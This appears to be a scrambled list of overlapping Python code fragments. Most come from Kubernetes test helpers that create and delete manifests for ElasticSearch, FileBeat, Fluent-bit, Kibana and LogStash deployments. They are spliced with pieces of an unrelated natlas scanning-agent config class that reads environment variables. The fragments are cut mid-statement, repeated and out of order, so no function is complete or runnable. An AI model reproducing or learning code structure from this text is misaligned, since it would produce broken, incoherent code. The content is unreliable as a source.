k8s_client.delete_namespaced_service_account(name=name, namespace=namespace) print(\"\\nDone\\n\") def wait_for_namespaced_deletion(name,", "client.AppsV1Api() k8s_client.create_namespaced_deployment(body=dep, namespace=namespace) elif dep['kind'] == 'Service': try: k8s_client =", "k8s_client = client.RbacAuthorizationV1Api() k8s_client.delete_namespaced_role(name=name, namespace=namespace) elif dep[\"kind\"] == 'RoleBinding': k8s_client", "{1}]: {2} sec\".format(name, number_ready, total_sleep_time, obj_name)) break print(\"{0}/{1} pods ready", "name, namespace, timeout=timeout) def resolve_read_status_func(obj_name): if obj_name == \"daemonset\": return", "name: deleted = False return deleted def wait_for_daemonset_to_be_ready(name, namespace, timeout=None):", "a valid value\") def wait_for_to_be_ready(obj_name, name, namespace, timeout=None): start =", "== 'RoleBinding': k8s_client = client.RbacAuthorizationV1Api() k8s_client.delete_namespaced_role_binding(name=name, namespace=namespace) elif dep[\"kind\"] ==", "dir_path, filename, f\"{namespace}_{filename}\", phrases_to_replace, values_for_replacement ) print(f\"applying file: {filename}\") with", "k8s_client = client.CoreV1Api() k8s_client.create_namespaced_service_account(body=dep, namespace=namespace) print(\"\\nDone\\n\") def remove_deployment_dir(namespace, dir_path): with", "client.AppsV1Api().read_namespaced_daemon_set_status else: raise ValueError(f\"resolve_read_status_func: {obj_name} is not a valid value\")", "kubernetes import client from kubernetes.client.rest import ApiException import os import", "ApiException as e: if e.status == 409: print(f\"cluster role binding", "the name both here and in the kube object crb_name", "print(f\"deleting {filename}\") with open(os.path.join(dir_path, filename)) as f: dep = yaml.safe_load(f)", "print(f\"cluster role already exists\") continue raise e elif dep[\"kind\"] ==", "dep[\"kind\"] == 'ConfigMap': k8s_client = client.CoreV1Api() k8s_client.delete_namespaced_config_map(name=name, namespace=namespace) elif dep[\"kind\"]", "while True: read_func = resolve_read_status_func(obj_name) resp = read_func(name=name, namespace=namespace) total_sleep_time", "'dep_order.txt')) as f: dep_order = f.readline() dep_lst = [x.strip() for", "= resolve_read_status_func(obj_name) resp = read_func(name=name, namespace=namespace) total_sleep_time = (datetime.now()-start).total_seconds() number_ready", "dep[\"kind\"] == 'RoleBinding': k8s_client = client.RbacAuthorizationV1Api() k8s_client.delete_namespaced_role_binding(name=name, namespace=namespace) elif dep[\"kind\"]", "except ApiException as e: if e.status == 409: print(f\"cluster role", "namespace=namespace) elif dep[\"kind\"] == 'ClusterRole': try: k8s_client = client.RbacAuthorizationV1Api() k8s_client.create_cluster_role(body=dep)", "if timeout < 0: raise TimeoutError(f\"{orig_timeout} was not enough for", "raise e elif dep[\"kind\"] == 'ConfigMap': k8s_client = client.CoreV1Api() k8s_client.create_namespaced_config_map(body=dep,", "timeout and total_sleep_time > timeout: raise Exception(f\"Timeout waiting for {obj_name}", "TimeoutError(f\"{orig_timeout} was not enough for deleting item:\\n{item}\\n\") deletion_func(name=name, namespace=namespace) print(f\"service", "phrases_to_replace, values_for_replacement ) print(f\"applying file: {filename}\") with open(modified_file_path) as f:", "replace all phrases with the actual values if exists modified_file_path,", "wait_for_namespaced_deletion(name, namespace, delete_func, list_func) elif dep['kind'] == 'PodDisruptionBudget': k8s_client =", "modified_file_path != os.path.join(dir_path, filename) and is_change: # remove modified file", "delete_func, list_func) elif dep['kind'] == 'PodDisruptionBudget': k8s_client = client.PolicyV1beta1Api() k8s_client.delete_namespaced_pod_disruption_budget(name=name,", "item.metadata.name == name: deleted = False return deleted def wait_for_daemonset_to_be_ready(name,", "= False orig_timeout = timeout while not deleted: # find", "dep_lst: # replace all phrases with the actual values if", "elif dep['kind'] == 'DaemonSet': k8s_client = client.AppsV1Api() k8s_client.delete_namespaced_daemon_set(name=name, namespace=namespace) elif", "from datetime import datetime from kubernetes import client from kubernetes.client.rest", "k8s_client = client.CoreV1Api() k8s_client.create_namespaced_service(body=dep, namespace=namespace) except ApiException as e: if", "!= os.path.join(dir_path, filename) and is_change: # remove modified file ut.delete_file(modified_file_path)", "'PodDisruptionBudget': k8s_client = client.PolicyV1beta1Api() k8s_client.create_namespaced_pod_disruption_budget(body=dep, namespace=namespace) elif dep[\"kind\"] == 'Role':", "a solution for sharing the name both here and in", "== name: if timeout < 0: raise TimeoutError(f\"{orig_timeout} was not", "= (datetime.now()-start).total_seconds() number_ready = resp.status.number_ready updated_number_scheduled = resp.status.updated_number_scheduled if number_ready", "datetime import datetime from kubernetes import client from kubernetes.client.rest import", "dir_path, delete=False): with open(os.path.join(dir_path, 'dep_order.txt')) as f: dep_order = f.readline()", "remove_clusterrole_binding(shipper_name, crb_name): # remove clusterrolebind k8s_client = client.RbacAuthorizationV1Api() try: k8s_client.delete_cluster_role_binding(crb_name)", "\"REP_ES_PASS\"] values_for_replacement = [namespace, conf.ES_USER_LOCAL, conf.ES_PASS_LOCAL] for filename in dep_lst:", "TODO: find a solution for sharing the name both here", "\"daemonset\": return client.AppsV1Api().read_namespaced_daemon_set_status else: raise ValueError(f\"resolve_read_status_func: {obj_name} is not a", "namespace=namespace) elif dep['kind'] == 'Service': try: k8s_client = client.CoreV1Api() k8s_client.create_namespaced_service(body=dep,", "for {3} {0} [size: {1}]: {2} sec\".format(name, number_ready, total_sleep_time, obj_name))", "dep['kind'] == 'StatefulSet': k8s_client = client.AppsV1Api() k8s_client.delete_namespaced_stateful_set(name=name, namespace=namespace) elif dep['kind']", "dep['kind'] == 'Service': try: k8s_client = client.CoreV1Api() k8s_client.create_namespaced_service(body=dep, namespace=namespace) except", "k8s_client = client.CoreV1Api() k8s_client.delete_namespaced_service_account(name=name, namespace=namespace) print(\"\\nDone\\n\") def wait_for_namespaced_deletion(name, namespace, deletion_func,", "False orig_timeout = timeout while not deleted: # find by", "and total_sleep_time > timeout: raise Exception(f\"Timeout waiting for {obj_name} to", "if not delete: k8s_client.create_namespaced_stateful_set(body=dep, namespace=namespace) else: k8s_client.delete_namespaced_stateful_set(name=name, namespace=namespace) elif dep['kind']", "k8s_client.create_namespaced_role_binding(body=dep, namespace=namespace) elif dep[\"kind\"] == 'ClusterRoleBinding': k8s_client = client.RbacAuthorizationV1Api() try:", "values if exists modified_file_path, is_change = ut.duplicate_file_and_replace_phrases( dir_path, filename, f\"{namespace}_{filename}\",", "with open(os.path.join(dir_path, 'dep_order.txt')) as f: dep_order = f.readline() dep_lst =", "= client.CoreV1Api() k8s_client.delete_namespaced_service(name=name, namespace=namespace, grace_period_seconds=0) delete_func = k8s_client.delete_namespaced_service list_func =", "dep_lst = [x.strip() for x in dep_order.split(',')] print(dep_lst) for filename", "role already exists\") continue raise e elif dep[\"kind\"] == 'RoleBinding':", "elif dep[\"kind\"] == 'ConfigMap': k8s_client = client.CoreV1Api() k8s_client.create_namespaced_config_map(body=dep, namespace=namespace) elif", "remove modified file ut.delete_file(modified_file_path) name = dep[\"metadata\"][\"name\"] if dep['kind'] ==", "k8s_client.delete_namespaced_stateful_set(name=name, namespace=namespace) elif dep['kind'] == 'DaemonSet': k8s_client = client.AppsV1Api() k8s_client.delete_namespaced_daemon_set(name=name,", "total_sleep_time = (datetime.now()-start).total_seconds() number_ready = resp.status.number_ready updated_number_scheduled = resp.status.updated_number_scheduled if", "elif dep[\"kind\"] == 'ClusterRoleBinding': k8s_client = client.RbacAuthorizationV1Api() k8s_client.delete_cluster_role_binding(name=name) elif dep[\"kind\"]", "= namespace k8s_client.create_namespaced_role_binding(body=dep, namespace=namespace) elif dep[\"kind\"] == 'ClusterRoleBinding': k8s_client =", "valid value\") def wait_for_to_be_ready(obj_name, name, namespace, timeout=None): start = datetime.now()", "k8s_client.create_cluster_role(body=dep) except ApiException as e: if e.status == 409: print(f\"cluster", "def add_elastic_cluster(namespace): print(\"\\nDeploying ElasticSearch\\n\") add_deployment_dir(namespace, conf.ELASTIC_CONF_DIR) def add_filebeat_cluster(namespace): print(\"\\nDeploying FileBeat\\n\")", "client.RbacAuthorizationV1Api() dep[\"subjects\"][0][\"namespace\"] = namespace k8s_client.create_namespaced_role_binding(body=dep, namespace=namespace) elif dep[\"kind\"] == 'ClusterRoleBinding':", "namespace=namespace) print(f\"service {name} was not deleted, retrying\") time.sleep(1) timeout -=", "k8s_client = client.RbacAuthorizationV1Api() dep[\"subjects\"][0][\"namespace\"] = namespace k8s_client.create_namespaced_role_binding(body=dep, namespace=namespace) elif dep[\"kind\"]", "client.CoreV1Api() k8s_client.delete_namespaced_config_map(name=name, namespace=namespace) elif dep[\"kind\"] == 'ServiceAccount': k8s_client = client.CoreV1Api()", "file ut.delete_file(modified_file_path) name = dep[\"metadata\"][\"name\"] if dep['kind'] == 'StatefulSet': k8s_client", "namespace=namespace) elif dep['kind'] == 'DaemonSet': k8s_client = client.AppsV1Api() k8s_client.delete_namespaced_daemon_set(name=name, namespace=namespace)", "'Role': k8s_client = client.RbacAuthorizationV1Api() k8s_client.create_namespaced_role(body=dep, namespace=namespace) elif dep[\"kind\"] == 'ClusterRole':", "ut.delete_file(modified_file_path) name = dep[\"metadata\"][\"name\"] if dep['kind'] == 'StatefulSet': k8s_client =", "e elif dep['kind'] == 'PodDisruptionBudget': k8s_client = client.PolicyV1beta1Api() k8s_client.create_namespaced_pod_disruption_budget(body=dep, namespace=namespace)", "client.CoreV1Api() k8s_client.delete_namespaced_service_account(name=name, namespace=namespace) print(\"\\nDone\\n\") def wait_for_namespaced_deletion(name, namespace, deletion_func, list_func, timeout=15):", "= client.RbacAuthorizationV1Api() k8s_client.delete_cluster_role_binding(name=name) elif dep[\"kind\"] == 'ConfigMap': k8s_client = client.CoreV1Api()", "not deleted, retrying\") time.sleep(1) timeout -= 1 # validate item", "k8s_client.create_cluster_role_binding(body=dep) except ApiException as e: if e.status == 409: print(f\"cluster", "== 'Deployment': k8s_client = client.AppsV1Api() k8s_client.delete_namespaced_deployment(name=name, namespace=namespace) elif dep['kind'] ==", "try: k8s_client = client.CoreV1Api() k8s_client.create_namespaced_service(body=dep, namespace=namespace) except ApiException as e:", "k8s_client.create_namespaced_role(body=dep, namespace=namespace) elif dep[\"kind\"] == 'ClusterRole': try: k8s_client = client.RbacAuthorizationV1Api()", "dep['kind'] == 'PodDisruptionBudget': k8s_client = client.PolicyV1beta1Api() k8s_client.create_namespaced_pod_disruption_budget(body=dep, namespace=namespace) elif dep[\"kind\"]", "phrases_to_replace = [\"(?<!_)NAMESPACE\", \"REP_ES_USER\", \"REP_ES_PASS\"] values_for_replacement = [namespace, conf.ES_USER_LOCAL, conf.ES_PASS_LOCAL]", "e: if e.status == 409: print(f\"cluster role binding already exists\")", "time.sleep(1) timeout -= 1 # validate item was deleted for", "values_for_replacement ) print(f\"applying file: {filename}\") with open(modified_file_path) as f: dep", "elif dep[\"kind\"] == 'ConfigMap': k8s_client = client.CoreV1Api() k8s_client.delete_namespaced_config_map(name=name, namespace=namespace) elif", "add_logstash_cluster(namespace): print(\"\\nDeploying LogStash\\n\") add_deployment_dir(namespace, conf.LOGSTASH_CONF_DIR) def add_deployment_dir(namespace, dir_path, delete=False): with", "= True if item.metadata.name == name: deleted = False return", "read_func = resolve_read_status_func(obj_name) resp = read_func(name=name, namespace=namespace) total_sleep_time = (datetime.now()-start).total_seconds()", "both here and in the kube object crb_name = f\"filebeat-cluster-role-binding-{namespace}\"", "item:\\n{item}\\n\") deletion_func(name=name, namespace=namespace) print(f\"service {name} was not deleted, retrying\") time.sleep(1)", "print(f\"\\nsuccessfully deleted: {crb_name}\") except Exception as e: print(f\"\\n{shipper_name} cluster role", "dep['kind'] == 'Deployment': k8s_client = client.AppsV1Api() k8s_client.delete_namespaced_deployment(name=name, namespace=namespace) elif dep['kind']", "requested item for item in list_func(namespace).items: if item.metadata.name == name:", "filename)) as f: dep = yaml.safe_load(f) name = dep[\"metadata\"][\"name\"] if", "namespace=namespace) elif dep[\"kind\"] == 'RoleBinding': k8s_client = client.RbacAuthorizationV1Api() k8s_client.delete_namespaced_role_binding(name=name, namespace=namespace)", "and delete requested item for item in list_func(namespace).items: if item.metadata.name", "as e: print(f\"\\n{shipper_name} cluster role binding deletion has failed, please", "ElasticSearch\\n\") add_deployment_dir(namespace, conf.ELASTIC_CONF_DIR) def add_filebeat_cluster(namespace): print(\"\\nDeploying FileBeat\\n\") add_deployment_dir(namespace, conf.FILEBEAT_CONF_DIR) def", "conf.FLUENT_BIT_CONF_DIR) def add_kibana_cluster(namespace): print(\"\\nDeploying Kibana\\n\") add_deployment_dir(namespace, conf.KIBANA_CONF_DIR) def add_logstash_cluster(namespace): print(\"\\nDeploying", "sec \".format(number_ready, updated_number_scheduled, total_sleep_time), end=\"\\r\") time.sleep(1) if timeout and total_sleep_time", "k8s_client.delete_namespaced_role_binding(name=name, namespace=namespace) elif dep[\"kind\"] == 'ClusterRoleBinding': k8s_client = client.RbacAuthorizationV1Api() k8s_client.delete_cluster_role_binding(name=name)", "k8s_client = client.AppsV1Api() if not delete: k8s_client.create_namespaced_stateful_set(body=dep, namespace=namespace) else: k8s_client.delete_namespaced_stateful_set(name=name,", "namespace, timeout=timeout) def resolve_read_status_func(obj_name): if obj_name == \"daemonset\": return client.AppsV1Api().read_namespaced_daemon_set_status", "= read_func(name=name, namespace=namespace) total_sleep_time = (datetime.now()-start).total_seconds() number_ready = resp.status.number_ready updated_number_scheduled", "client.RbacAuthorizationV1Api() k8s_client.create_namespaced_role(body=dep, namespace=namespace) elif dep[\"kind\"] == 'ClusterRole': try: k8s_client =", "x in dep_order.split(',')] print(dep_lst) for filename in dep_lst: print(f\"deleting {filename}\")", "== 'ClusterRole': try: k8s_client = client.RbacAuthorizationV1Api() k8s_client.create_cluster_role(body=dep) except ApiException as", "= client.CoreV1Api() k8s_client.create_namespaced_service(body=dep, namespace=namespace) except ApiException as e: if e.status", "and number_ready == updated_number_scheduled: print(\"Total time waiting for {3} {0}", "dep['kind'] == 'DaemonSet': k8s_client = client.AppsV1Api() k8s_client.create_namespaced_daemon_set(body=dep, namespace=namespace) elif dep['kind']", "tests import config as conf import tests.utils as ut def", "config as conf import tests.utils as ut def remove_clusterrole_binding(shipper_name, crb_name):", "filename, f\"{namespace}_{filename}\", phrases_to_replace, values_for_replacement ) print(f\"applying file: {filename}\") with open(modified_file_path)", "e: if e.status == 409: print(f\"cluster role already exists\") continue", "name = dep[\"metadata\"][\"name\"] if dep['kind'] == 'StatefulSet': k8s_client = client.AppsV1Api()", "ut def remove_clusterrole_binding(shipper_name, crb_name): # remove clusterrolebind k8s_client = client.RbacAuthorizationV1Api()", "name and delete requested item for item in list_func(namespace).items: if", "import ApiException import os import time import yaml from tests", "add_filebeat_cluster(namespace): print(\"\\nDeploying FileBeat\\n\") add_deployment_dir(namespace, conf.FILEBEAT_CONF_DIR) def add_fluent_bit_cluster(namespace): print(\"\\nDeploying Fluent-bit\\n\") add_deployment_dir(namespace,", "= client.AppsV1Api() k8s_client.delete_namespaced_stateful_set(name=name, namespace=namespace) elif dep['kind'] == 'DaemonSet': k8s_client =", "client.CoreV1Api() k8s_client.create_namespaced_service_account(body=dep, namespace=namespace) print(\"\\nDone\\n\") def remove_deployment_dir(namespace, dir_path): with open(os.path.join(dir_path, 'dep_order.txt'))", "= client.RbacAuthorizationV1Api() try: k8s_client.delete_cluster_role_binding(crb_name) print(f\"\\nsuccessfully deleted: {crb_name}\") except Exception as", "elif dep['kind'] == 'Service': try: k8s_client = client.CoreV1Api() k8s_client.create_namespaced_service(body=dep, namespace=namespace)", "waiting for {3} {0} [size: {1}]: {2} sec\".format(name, number_ready, total_sleep_time,", "elif dep[\"kind\"] == 'Role': k8s_client = client.RbacAuthorizationV1Api() k8s_client.delete_namespaced_role(name=name, namespace=namespace) elif", "timeout=timeout) def resolve_read_status_func(obj_name): if obj_name == \"daemonset\": return client.AppsV1Api().read_namespaced_daemon_set_status else:", "total_sleep_time > timeout: raise Exception(f\"Timeout waiting for {obj_name} to be", "[namespace, conf.ES_USER_LOCAL, conf.ES_PASS_LOCAL] for filename in dep_lst: # replace all", "raise TimeoutError(f\"{orig_timeout} was not enough for deleting item:\\n{item}\\n\") deletion_func(name=name, namespace=namespace)", "k8s_client.delete_namespaced_role(name=name, namespace=namespace) elif dep[\"kind\"] == 'RoleBinding': k8s_client = client.RbacAuthorizationV1Api() k8s_client.delete_namespaced_role_binding(name=name,", "in the kube object crb_name = f\"filebeat-cluster-role-binding-{namespace}\" remove_clusterrole_binding(\"filebeat\", crb_name) def", "import tests.utils as ut def remove_clusterrole_binding(shipper_name, crb_name): # remove clusterrolebind", "total_sleep_time, obj_name)) break print(\"{0}/{1} pods ready {2} sec \".format(number_ready, updated_number_scheduled,", "not a valid value\") def wait_for_to_be_ready(obj_name, name, namespace, timeout=None): start", "if dep['kind'] == 'StatefulSet': k8s_client = client.AppsV1Api() if not delete:", "f\"fluent-bit-clusterrole-binding-{namespace}\" remove_clusterrole_binding(\"fluent-bit\", crb_name) def add_elastic_cluster(namespace): print(\"\\nDeploying ElasticSearch\\n\") add_deployment_dir(namespace, conf.ELASTIC_CONF_DIR) def", "if timeout and total_sleep_time > timeout: raise Exception(f\"Timeout waiting for", "and in the kube object crb_name = f\"fluent-bit-clusterrole-binding-{namespace}\" remove_clusterrole_binding(\"fluent-bit\", crb_name)", "dep['kind'] == 'PodDisruptionBudget': k8s_client = client.PolicyV1beta1Api() k8s_client.delete_namespaced_pod_disruption_budget(name=name, namespace=namespace) elif dep[\"kind\"]" ]
[ "os.environ.get(\"NATLAS_AGENT_ID\") or None # Authentication token that agents can use", "for local development # Necessary to test versioned host data", "to scan local addresses? # By default, agents protect themselves", "Used for database lookup and stored in scan output self.agent_id", "data templates before release self.version_override = os.environ.get(\"NATLAS_VERSION_OVERRIDE\") or None self.sentry_dsn", "number of threads to utilize self.max_threads = self.get_int('NATLAS_MAX_THREADS') or 3", "Necessary to test versioned host data templates before release self.version_override", "if tmp and tmp.upper() == \"FALSE\": return False return None", "is submitting data that the server doesn't understand for some", "varname): tmp = os.environ.get(varname) if tmp and tmp.upper() == \"TRUE\":", "before release self.version_override = os.environ.get(\"NATLAS_VERSION_OVERRIDE\") or None self.sentry_dsn = os.environ.get(\"SENTRY_DSN\")", "their local network self.scan_local = self.get_bool('NATLAS_SCAN_LOCAL') or False # default", "self.get_int('NATLAS_BACKOFF_BASE') or 1 # seconds # Maximum number of times", "= self.get_int('NATLAS_MAX_THREADS') or 3 # Are we allowed to scan", "default, agents protect themselves from scanning their local network self.scan_local", "the trusted CA certificate bundle on the agent and use", "os.environ.get(\"NATLAS_VERSION_OVERRIDE\") or None self.sentry_dsn = os.environ.get(\"SENTRY_DSN\") or None if self.version_override:", "None # Authentication token that agents can use to talk", "# By default, agents protect themselves from scanning their local", "varname): tmp = os.environ.get(varname) if tmp: return int(tmp) return None", "development # Necessary to test versioned host data templates before", "self.scan_local = self.get_bool('NATLAS_SCAN_LOCAL') or False # default time to wait", "return int(tmp) return None def get_bool(self, varname): tmp = os.environ.get(varname)", "os.environ.get(varname) if tmp: return int(tmp) return None def get_bool(self, varname):", "url of server to get/submit work from/to self.server = os.environ.get('NATLAS_SERVER_ADDRESS')", "env variable self.ignore_ssl_warn = self.get_bool('NATLAS_IGNORE_SSL_WARN') or False # maximum number", "test versioned host data templates before release self.version_override = os.environ.get(\"NATLAS_VERSION_OVERRIDE\")", "version overrides for local development # Necessary to test versioned", "about SSL connections # you shouldn't ignore ssl warnings, but", "server API # Only needed if the server is configured", "= os.environ.get('NATLAS_SERVER_ADDRESS') or 'http://127.0.0.1:5000' # ignore warnings about SSL connections", "# url of server to get/submit work from/to self.server =", "Only needed if the server is configured to require agent", "server to get/submit work from/to self.server = os.environ.get('NATLAS_SERVER_ADDRESS') or 'http://127.0.0.1:5000'", "on the agent and use the REQUESTS_CA_BUNDLE env variable self.ignore_ssl_warn", "self.agent_id = os.environ.get(\"NATLAS_AGENT_ID\") or None # Authentication token that agents", "By default, agents protect themselves from scanning their local network", "and tmp.upper() == \"FALSE\": return False return None def __init__(self):", "any given scan # Used for database lookup and stored", "tmp: return int(tmp) return None def get_bool(self, varname): tmp =", "tmp = os.environ.get(varname) if tmp and tmp.upper() == \"TRUE\": return", "= os.environ.get(\"NATLAS_AGENT_ID\") or None # Authentication token that agents can", "# Authentication token that agents can use to talk to", "or False # default time to wait for the server", "300 # seconds # Base value to begin the exponential", "exponential backoff self.backoff_base = self.get_int('NATLAS_BACKOFF_BASE') or 1 # seconds #", "= self.get_int('NATLAS_BACKOFF_BASE') or 1 # seconds # Maximum number of", "# seconds # Maximum number of times to retry submitting", "is configured to require agent authentication self.auth_token = os.environ.get(\"NATLAS_AGENT_TOKEN\") or", "load_dotenv class Config: # Current Version NATLAS_VERSION = \"0.6.10\" BASEDIR", "= self.get_bool('NATLAS_IGNORE_SSL_WARN') or False # maximum number of threads to", "return None def __init__(self): # url of server to get/submit", "if tmp: return int(tmp) return None def get_bool(self, varname): tmp", "that performed any given scan # Used for database lookup", "if the server is configured to require agent authentication self.auth_token", "files that failed to upload self.save_fails = self.get_bool(\"NATLAS_SAVE_FAILS\") or False", "server is configured to require agent authentication self.auth_token = os.environ.get(\"NATLAS_AGENT_TOKEN\")", "tmp and tmp.upper() == \"FALSE\": return False return None def", "ssl warnings, but I'll give you the option # Instead,", "data before giving up # This is useful if a", "exponential backoff of requests, 5 minutes default self.backoff_max = self.get_int('NATLAS_BACKOFF_MAX')", "# Instead, you should put the trusted CA certificate bundle", "to require agent authentication self.auth_token = os.environ.get(\"NATLAS_AGENT_TOKEN\") or None #", "allowed to scan local addresses? # By default, agents protect", "save files that failed to upload self.save_fails = self.get_bool(\"NATLAS_SAVE_FAILS\") or", "the exponential backoff self.backoff_base = self.get_int('NATLAS_BACKOFF_BASE') or 1 # seconds", "None def get_bool(self, varname): tmp = os.environ.get(varname) if tmp and", "authentication self.auth_token = os.environ.get(\"NATLAS_AGENT_TOKEN\") or None # Optionally save files", "agents can use to talk to the server API #", "giving up # This is useful if a thread is", "from dotenv import load_dotenv class Config: # Current Version NATLAS_VERSION", "bundle on the agent and use the REQUESTS_CA_BUNDLE env variable", "self.max_threads = self.get_int('NATLAS_MAX_THREADS') or 3 # Are we allowed to", "and tmp.upper() == \"TRUE\": return True if tmp and tmp.upper()", "submitting data before giving up # This is useful if", "tmp and tmp.upper() == \"TRUE\": return True if tmp and", "# maximum number of threads to utilize self.max_threads = self.get_int('NATLAS_MAX_THREADS')", "self.get_int('NATLAS_BACKOFF_MAX') or 300 # seconds # Base value to begin", "# Identification string that identifies the agent that performed any", "of threads to utilize self.max_threads = self.get_int('NATLAS_MAX_THREADS') or 3 #", "warnings about SSL connections # you shouldn't ignore ssl warnings,", "the option # Instead, you should put the trusted CA", "you should put the trusted CA certificate bundle on the", "default time to wait for the server to respond self.request_timeout", "# Only needed if the server is configured to require", "Current Version NATLAS_VERSION = \"0.6.10\" BASEDIR = os.path.abspath(os.path.dirname(__file__)) load_dotenv(os.path.join(BASEDIR, '.env'))", "that failed to upload self.save_fails = self.get_bool(\"NATLAS_SAVE_FAILS\") or False #", "of times to retry submitting data before giving up #", "Config: # Current Version NATLAS_VERSION = \"0.6.10\" BASEDIR = os.path.abspath(os.path.dirname(__file__))", "to retry submitting data before giving up # This is", "os.environ.get('NATLAS_SERVER_ADDRESS') or 'http://127.0.0.1:5000' # ignore warnings about SSL connections #", "release self.version_override = os.environ.get(\"NATLAS_VERSION_OVERRIDE\") or None self.sentry_dsn = os.environ.get(\"SENTRY_DSN\") or", "Maximum value for exponential backoff of requests, 5 minutes default", "# Necessary to test versioned host data templates before release", "thread is submitting data that the server doesn't understand for", "if tmp and tmp.upper() == \"TRUE\": return True if tmp", "load_dotenv(os.path.join(BASEDIR, '.env')) def get_int(self, varname): tmp = os.environ.get(varname) if tmp:", "# you shouldn't ignore ssl warnings, but I'll give you", "use the REQUESTS_CA_BUNDLE env variable self.ignore_ssl_warn = self.get_bool('NATLAS_IGNORE_SSL_WARN') or False", "the server API # Only needed if the server is", "to test versioned host data templates before release self.version_override =", "requests, 5 minutes default self.backoff_max = self.get_int('NATLAS_BACKOFF_MAX') or 300 #", "is useful if a thread is submitting data that the", "import os from dotenv import load_dotenv class Config: # Current", "self.sentry_dsn = os.environ.get(\"SENTRY_DSN\") or None if self.version_override: self.NATLAS_VERSION = self.version_override", "some reason self.max_retries = self.get_int('NATLAS_MAX_RETRIES') or 10 # Identification string", "agent that performed any given scan # Used for database", "I'll give you the option # Instead, you should put", "or 300 # seconds # Base value to begin the", "submitting data that the server doesn't understand for some reason", "= os.environ.get(varname) if tmp and tmp.upper() == \"TRUE\": return True", "that agents can use to talk to the server API", "or 'http://127.0.0.1:5000' # ignore warnings about SSL connections # you", "= \"0.6.10\" BASEDIR = os.path.abspath(os.path.dirname(__file__)) load_dotenv(os.path.join(BASEDIR, '.env')) def get_int(self, varname):", "but I'll give you the option # Instead, you should", "to get/submit work from/to self.server = os.environ.get('NATLAS_SERVER_ADDRESS') or 'http://127.0.0.1:5000' #", "def get_int(self, varname): tmp = os.environ.get(varname) if tmp: return int(tmp)", "of requests, 5 minutes default self.backoff_max = self.get_int('NATLAS_BACKOFF_MAX') or 300", "stored in scan output self.agent_id = os.environ.get(\"NATLAS_AGENT_ID\") or None #", "and use the REQUESTS_CA_BUNDLE env variable self.ignore_ssl_warn = self.get_bool('NATLAS_IGNORE_SSL_WARN') or", "self.backoff_max = self.get_int('NATLAS_BACKOFF_MAX') or 300 # seconds # Base value", "server to respond self.request_timeout = self.get_int('NATLAS_REQUEST_TIMEOUT') or 15 # seconds", "self.auth_token = os.environ.get(\"NATLAS_AGENT_TOKEN\") or None # Optionally save files that", "talk to the server API # Only needed if the", "False # Allow version overrides for local development # Necessary", "BASEDIR = os.path.abspath(os.path.dirname(__file__)) load_dotenv(os.path.join(BASEDIR, '.env')) def get_int(self, varname): tmp =", "to begin the exponential backoff self.backoff_base = self.get_int('NATLAS_BACKOFF_BASE') or 1", "wait for the server to respond self.request_timeout = self.get_int('NATLAS_REQUEST_TIMEOUT') or", "agent authentication self.auth_token = os.environ.get(\"NATLAS_AGENT_TOKEN\") or None # Optionally save", "tmp.upper() == \"TRUE\": return True if tmp and tmp.upper() ==", "\"FALSE\": return False return None def __init__(self): # url of", "= self.get_bool('NATLAS_SCAN_LOCAL') or False # default time to wait for", "= os.environ.get(varname) if tmp: return int(tmp) return None def get_bool(self,", "== \"TRUE\": return True if tmp and tmp.upper() == \"FALSE\":", "'http://127.0.0.1:5000' # ignore warnings about SSL connections # you shouldn't", "value to begin the exponential backoff self.backoff_base = self.get_int('NATLAS_BACKOFF_BASE') or", "that identifies the agent that performed any given scan #", "os from dotenv import load_dotenv class Config: # Current Version", "certificate bundle on the agent and use the REQUESTS_CA_BUNDLE env", "overrides for local development # Necessary to test versioned host", "of server to get/submit work from/to self.server = os.environ.get('NATLAS_SERVER_ADDRESS') or", "= self.get_bool(\"NATLAS_SAVE_FAILS\") or False # Allow version overrides for local", "local network self.scan_local = self.get_bool('NATLAS_SCAN_LOCAL') or False # default time", "configured to require agent authentication self.auth_token = os.environ.get(\"NATLAS_AGENT_TOKEN\") or None", "seconds # Base value to begin the exponential backoff self.backoff_base", "data that the server doesn't understand for some reason self.max_retries", "False # maximum number of threads to utilize self.max_threads =", "needed if the server is configured to require agent authentication", "import load_dotenv class Config: # Current Version NATLAS_VERSION = \"0.6.10\"", "return True if tmp and tmp.upper() == \"FALSE\": return False", "for the server to respond self.request_timeout = self.get_int('NATLAS_REQUEST_TIMEOUT') or 15", "give you the option # Instead, you should put the", "up # This is useful if a thread is submitting", "to talk to the server API # Only needed if", "identifies the agent that performed any given scan # Used", "# default time to wait for the server to respond", "can use to talk to the server API # Only", "os.environ.get(\"NATLAS_AGENT_TOKEN\") or None # Optionally save files that failed to", "threads to utilize self.max_threads = self.get_int('NATLAS_MAX_THREADS') or 3 # Are", "token that agents can use to talk to the server", "reason self.max_retries = self.get_int('NATLAS_MAX_RETRIES') or 10 # Identification string that", "self.get_bool(\"NATLAS_SAVE_FAILS\") or False # Allow version overrides for local development", "False return None def __init__(self): # url of server to", "Identification string that identifies the agent that performed any given", "NATLAS_VERSION = \"0.6.10\" BASEDIR = os.path.abspath(os.path.dirname(__file__)) load_dotenv(os.path.join(BASEDIR, '.env')) def get_int(self,", "== \"FALSE\": return False return None def __init__(self): # url", "Allow version overrides for local development # Necessary to test", "# Maximum value for exponential backoff of requests, 5 minutes", "local addresses? # By default, agents protect themselves from scanning", "\"0.6.10\" BASEDIR = os.path.abspath(os.path.dirname(__file__)) load_dotenv(os.path.join(BASEDIR, '.env')) def get_int(self, varname): tmp", "before giving up # This is useful if a thread", "Are we allowed to scan local addresses? # By default,", "class Config: # Current Version NATLAS_VERSION = \"0.6.10\" BASEDIR =", "Instead, you should put the trusted CA certificate bundle on", "protect themselves from scanning their local network self.scan_local = self.get_bool('NATLAS_SCAN_LOCAL')", "# This is useful if a thread is submitting data", "# Used for database lookup and stored in scan output", "connections # you shouldn't ignore ssl warnings, but I'll give", "Authentication token that agents can use to talk to the", "def get_bool(self, varname): tmp = os.environ.get(varname) if tmp and tmp.upper()", "for database lookup and stored in scan output self.agent_id =", "dotenv import load_dotenv class Config: # Current Version NATLAS_VERSION =", "to wait for the server to respond self.request_timeout = self.get_int('NATLAS_REQUEST_TIMEOUT')", "require agent authentication self.auth_token = os.environ.get(\"NATLAS_AGENT_TOKEN\") or None # Optionally", "scan # Used for database lookup and stored in scan", "self.save_fails = self.get_bool(\"NATLAS_SAVE_FAILS\") or False # Allow version overrides for", "# Are we allowed to scan local addresses? # By", "return False return None def __init__(self): # url of server", "you the option # Instead, you should put the trusted", "or 3 # Are we allowed to scan local addresses?", "time to wait for the server to respond self.request_timeout =", "option # Instead, you should put the trusted CA certificate", "10 # Identification string that identifies the agent that performed", "output 